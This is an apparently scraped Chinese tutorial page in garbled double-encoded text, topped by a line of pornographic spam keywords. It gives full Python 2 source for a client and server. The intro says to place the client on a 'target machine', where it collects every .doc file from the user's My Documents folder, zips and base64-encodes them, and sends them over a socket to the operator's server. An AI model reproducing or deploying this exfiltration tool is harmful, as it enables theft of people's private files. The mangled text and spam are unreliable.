欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法

 更新時(shí)間:2015年03月16日 11:29:12   作者:上大王  
這篇文章主要介紹了python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法,涉及Python實(shí)現(xiàn)C/S架構(gòu)程序與socket程序的使用技巧,需要的朋友可以參考下

本文實(shí)例講述了python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下:

該程序?qū)崿F(xiàn)了,把目標(biāo)機(jī)器的某個(gè)目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機(jī)器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進(jìn)制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標(biāo)機(jī)器,然后python client.py即可
4、本程序設(shè)置了獲取doc文件,修改extName可以獲取其它類型文件

服務(wù)器端程序:

復(fù)制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #獲取加密數(shù)據(jù)
                encode_data = cs.recv(BUF_SIZE)
                #把數(shù)據(jù)寫到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2進(jìn)制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打開(kāi)zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #創(chuàng)建一個(gè)文件夾來(lái)存放獲取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后續(xù)處理 刪除臨時(shí)文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客戶端程序:

復(fù)制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文檔"
    extName = '.doc'
    #遍歷搜索我的文檔的doc類型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件處理錯(cuò)誤: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #壓縮成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2進(jìn)制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后續(xù)處理 刪除中間文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出錯(cuò)啦:' % e
        cs.close()
if __name__=='__main__':
    main()

希望本文所述對(duì)大家的Python程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • Python裝飾器詳細(xì)介紹

    Python裝飾器詳細(xì)介紹

    這篇文章主要介紹了Python @property裝飾器的用法,在Python中,可以通過(guò)@property裝飾器將一個(gè)方法轉(zhuǎn)換為屬性,從而實(shí)現(xiàn)用于計(jì)算的屬性,下面文章圍繞主題展開(kāi)更多相關(guān)詳情,感興趣的小伙伴可以參考一下
    2022-12-12
  • Django MTV和MVC的區(qū)別詳解

    Django MTV和MVC的區(qū)別詳解

    這篇文章主要介紹了Django MTV和MVC的區(qū)別詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-03-03
  • python從入門到精通 windows安裝python圖文教程

    python從入門到精通 windows安裝python圖文教程

    這篇文章主要為大家詳細(xì)介紹了python從入門到精通,windows安裝python圖文教程,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-05-05
  • python+opencv輪廓檢測(cè)代碼解析

    python+opencv輪廓檢測(cè)代碼解析

    這篇文章主要介紹了python+opencv輪廓檢測(cè)代碼解析,本文實(shí)例實(shí)現(xiàn)對(duì)圖片的簡(jiǎn)單處理,比如圖片的讀取,灰度顯示等相關(guān)內(nèi)容,具有一定借鑒價(jià)值,需要的朋友可以參考下
    2018-01-01
  • Python流程控制常用工具詳解

    Python流程控制常用工具詳解

    這篇文章主要介紹了Python流程控制常用工具詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02
  • Python+tkinter實(shí)現(xiàn)樹(shù)形圖繪制

    Python+tkinter實(shí)現(xiàn)樹(shù)形圖繪制

    Treeview是ttk中的樹(shù)形表組件,功能十分強(qiáng)大,非常適用于系統(tǒng)路徑的表達(dá),下面我們就來(lái)看看如何利用這一組件實(shí)現(xiàn)樹(shù)形圖的繪制吧,有需要的可以參考下
    2023-09-09
  • python操作kafka實(shí)踐的示例代碼

    python操作kafka實(shí)踐的示例代碼

    這篇文章主要介紹了python操作kafka實(shí)踐的示例代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-06-06
  • 一步步教你用python的scrapy編寫一個(gè)爬蟲

    一步步教你用python的scrapy編寫一個(gè)爬蟲

    這篇文章主要給大家介紹了如何利用python的scrapy編寫一個(gè)爬蟲的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用scrapy具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-04-04
  • Python實(shí)現(xiàn)Sqlite將字段當(dāng)做索引進(jìn)行查詢的方法

    Python實(shí)現(xiàn)Sqlite將字段當(dāng)做索引進(jìn)行查詢的方法

    這篇文章主要介紹了Python實(shí)現(xiàn)Sqlite將字段當(dāng)做索引進(jìn)行查詢的方法,涉及Python針對(duì)sqlite數(shù)據(jù)庫(kù)索引操作的相關(guān)技巧,需要的朋友可以參考下
    2016-07-07
  • Python?NumPy教程之二元計(jì)算詳解

    Python?NumPy教程之二元計(jì)算詳解

    二元運(yùn)算符作用于位,進(jìn)行逐位運(yùn)算。二元運(yùn)算只是組合兩個(gè)值以創(chuàng)建新值的規(guī)則。本文將為大家詳細(xì)講講Python?NumPy中的二元計(jì)算,需要的可以了解一下
    2022-08-08

最新評(píng)論